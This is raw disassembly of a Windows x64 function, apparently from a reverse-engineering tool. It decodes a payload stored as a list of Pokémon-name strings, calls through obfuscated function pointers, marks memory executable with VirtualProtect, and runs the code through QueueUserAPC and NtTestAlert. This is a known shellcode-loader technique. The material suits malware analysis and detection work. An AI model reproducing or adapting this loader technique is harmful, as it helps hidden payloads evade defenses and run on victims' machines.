lea rcx, [rbp + 0x1be8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Torchic
call fcn.140002c84
lea rcx, [rbp + 0x1c08]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Shuckle
call fcn.140002c84
lea rcx, [rbp + 0x1c28]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Hoppip
call fcn.140002c84
lea rcx, [rbp + 0x1c48]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Magby
call fcn.140002c84
lea rcx, [rbp + 0x1c68]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Ampharos
call fcn.140002c84
lea rcx, [rbp + 0x1c88]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Furret
call fcn.140002c84
lea rcx, [rbp + 0x1ca8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Seel
call fcn.140002c84
lea rcx, [rbp + 0x1cc8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0x1ce8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Politoed
call fcn.140002c84
lea rcx, [rbp + 0x1d08]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Ledian
call fcn.140002c84
lea rcx, [rbp + 0x1d28]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Dragonite
call fcn.140002c84
lea rcx, [rbp + 0x1d48]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Jumpluff
call fcn.140002c84
lea rcx, [rbp + 0x1d68]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Typhlosion
call fcn.140002c84
lea rcx, [rbp + 0x1d88]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Torchic
call fcn.140002c84
lea rcx, [rbp + 0x1da8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Shuckle
call fcn.140002c84
lea rcx, [rbp + 0x1dc8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tentacool
call fcn.140002c84
lea rcx, [rbp + 0x1de8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Lapras
call fcn.140002c84
lea rcx, [rbp + 0x1e08]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Espeon
call fcn.140002c84
lea rcx, [rbp + 0x1e28]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Wigglytuff
call fcn.140002c84
lea rcx, [rbp + 0x1e48]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Poliwag
call fcn.140002c84
lea rcx, [rbp + 0x1e68]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Charizard
call fcn.140002c84
lea rcx, [rbp + 0x1e88]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Jynx
call fcn.140002c84
lea rcx, [rbp + 0x1ea8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Caterpie
call fcn.140002c84
lea rcx, [rbp + 0x1ec8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tauros
call fcn.140002c84
lea rcx, [rbp + 0x1ee8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Celebi
call fcn.140002c84
lea rcx, [rbp + 0x1f08]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Octillery
call fcn.140002c84
lea rcx, [rbp + 0x1f28]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Seadra
call fcn.140002c84
lea rcx, [rbp + 0x1f48]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Charmeleon
call fcn.140002c84
lea rcx, [rbp + 0x1f68]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Hoppip
call fcn.140002c84
lea rcx, [rbp + 0x1f88]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Victreebel
call fcn.140002c84
lea rcx, [rbp + 0x1fa8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Rattata
call fcn.140002c84
lea rcx, [rbp + 0x1fc8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Tangela
call fcn.140002c84
lea rcx, [rbp + 0x1fe8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Rhyhorn
call fcn.140002c84
lea rcx, [rbp + 0x2008]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Hitmonlee
call fcn.140002c84
lea rcx, [rbp + 0x2028]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Missingno
call fcn.140002c84
lea rcx, [rbp + 0x2048]
mov qword [rbp + 0x2288], rcx
lea rdx, [0x14001769b]
call fcn.140002c84
lea rcx, [rbp + 0x2068]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Alakazam
call fcn.140002c84
lea rcx, [rbp + 0x2088]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Porygon
call fcn.140002c84
lea rcx, [rbp + 0x20a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Slugma
call fcn.140002c84
lea rcx, [rbp + 0x20c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Torchic
call fcn.140002c84
lea rcx, [rbp + 0x20e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Shuckle
call fcn.140002c84
lea rcx, [rbp + 0x2108]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Kingler
call fcn.140002c84
lea rcx, [rbp + 0x2128]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Hypno
call fcn.140002c84
lea rcx, [rbp + 0x2148]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Lickitung
call fcn.140002c84
lea rcx, [rbp + 0x2168]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Kingler
call fcn.140002c84
lea rcx, [rbp + 0x2188]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Paras
call fcn.140002c84
lea rcx, [rbp + 0x21a8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Electrode
call fcn.140002c84
lea rcx, [rbp + 0x21c8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Staryu
call fcn.140002c84
lea rcx, [rbp + 0x21e8]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Electrode
call fcn.140002c84
lea rcx, [rbp + 0x2208]
mov qword [rbp + 0x2288], rcx
lea rdx, str.Missingno
call fcn.140002c84
lea rsi, [rbp + 0x2238]
lea rax, [rbp - 0x58]
mov qword [rsi], rax
lea rax, [rbp + 0x2228]
mov qword [rsi + 8], rax
mov rax, qword [0x140022258]
movabs rcx, 0x38599abd7cb6831d
add rax, rcx
lea rdi, [rbp + 0x227f]
mov rcx, rdi
call rax
lea rcx, [rbp + 0x2260]
mov rdx, rsi
mov r8, rdi
call fcn.140002d5e
mov esi, 0x2260
movabs rdi, 0x38599abd7cb6831d
lea rcx, [rsi + rbp]
add rcx, 0xffffffffffffffa8
mov rax, qword [0x140022260]
add rax, rdi
call rax
add rsi, 0xffffffffffffffe0
cmp rsi, 0xffffffffffffffe0
jne 0x140005238
lea rcx, [rbp + 0x2260]
call fcn.140002e25
mov rsi, rax
push 8
pop rdx
push 0x40
pop r8
lea r9, [rbp - 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, [0x140017bfb]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtTestAlert
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rsi
mov rdx, rax
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rax, qword [0x140022268]
movabs rsi, 0x38599abd7cb6831d
add rax, rsi
lea rcx, [rbp + 0x2260]
call rax
add rsi, qword [0x140022268]
lea rcx, [rbp + 0x2248]
call rsi
xor eax, eax
add rsp, 0x2318
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret